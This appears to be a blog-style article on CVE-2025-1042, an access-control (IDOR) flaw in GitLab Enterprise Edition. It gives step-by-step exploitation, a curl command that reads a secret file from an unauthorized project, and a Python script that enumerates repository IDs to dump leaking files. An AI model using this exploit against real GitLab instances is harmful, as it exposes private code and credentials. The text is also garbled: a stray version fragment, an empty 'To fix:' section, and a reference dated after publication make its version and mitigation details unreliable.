In early 2025, the security community started buzzing about a critical vulnerability in GitLab Enterprise Edition (EE). Registered as CVE-2025-1042, this flaw is an insecure direct object reference (IDOR) that lets attackers access repository contents they aren’t authorized to see. The bug affects GitLab EE from 15.7 up to but not including 17.6.5, 17.7.4, and 17.8.2. This article will break the vulnerability down in simple language, show you how it works, give you a sample exploit, link you to further references, and explain how you can protect your GitLab instance.

What Exactly Is CVE-2025-1042?

At its core, GitLab’s IDOR (Insecure Direct Object Reference) mistake means the GitLab web app does not properly check whether a user should be allowed to view a given repository or not. By changing certain URL or API parameters, an attacker can poke into repositories the server thinks are protected.

17.8 up to *before* 17.8.2

CE and cloud are unaffected; only Enterprise Edition with internal/private repositories.

1. Find an Internal or Private Repo

Suppose an organization uses GitLab EE for both public/guest and private/internal code projects. These repos usually require authentication or membership.

2. Discover a Repository’s ID

Every project in GitLab has a numeric (or path-based) identifier. Sometimes project IDs leak via user profiles, API responses, or error messages.

3. Craft an Unauthorized Request

Here’s an example:
Assume you have access to your own project, but not to another repo with project_id: 42.

Normal API call:

  GET /api/v4/projects/5/repository/files/README.md?ref=main

Malicious API call:

  GET /api/v4/projects/42/repository/files/README.md?ref=main

4. Exploit With a Simple cURL Command

Below’s what an attacker might do if they want to view secret.txt from a private repo with ID 42, without permission:

curl -s --header "PRIVATE-TOKEN: <your_token>" \
"https://gitlab.example.com/api/v4/projects/42/repository/files/secret.txt/raw?ref=main";

If the server is unpatched, and the file exists, you’ll see its contents even if you shouldn't have any access.

Here’s a little Python snippet that automates the process for a list of potential target repo IDs

import requests

GITLAB_URL = "https://gitlab.example.com";
TOKEN = "your_private_token"
TARGET_IDS = [21, 42, 123, 456]
FILE_PATH = "README.md"
REF = "main"

for repo_id in TARGET_IDS:
    url = f"{GITLAB_URL}/api/v4/projects/{repo_id}/repository/files/{FILE_PATH}/raw?ref={REF}"
    headers = {"PRIVATE-TOKEN": TOKEN}
    resp = requests.get(url, headers=headers)
    if resp.status_code == 200:
        print(f"Repo {repo_id} is LEAKING! README:\n{resp.text[:256]}")
    else:
        print(f"Repo {repo_id}: {resp.status_code}")

Why Is This So Serious?

- Info leakage: Secret code, credentials, or intellectual property could be snatched by rogue users or even guests.

Recon: Attackers can map internal project structures and plan more targeted attacks.

- Escalation: Stolen code might give clues for further privilege escalation or supply chain attacks.

Official Statement & Mitigation

On GitLab’s Security Announcements, GitLab confirmed and patched the bug. Official fix references:

- GitLab Patch Notes for 17.6.5
- Security Release Blog

To fix:

For Defenders: How to Detect & Protect

- Check your logs: Look for suspicious API requests to /api/v4/projects/{id}/repository/files/.

References

- GitLab Security Release (Official, June 2025)
- NVD Entry for CVE-2025-1042
- IDOR Explained (OWASP)

Conclusion

CVE-2025-1042 is a textbook case of how dangerous insecure direct object references can be—even in big, mature platforms like GitLab Enterprise Edition. The bug lets attackers view private repositories without permission, simply by knowing (or guessing) target repo IDs.

If you use GitLab EE, patch right away. As a user or security tester, always keep an eye out for basic IDOR bugs—they remain some of the most common, painful, and easy-to-exploit web flaws.

Timeline

Published on: 02/12/2025 15:15:16 UTC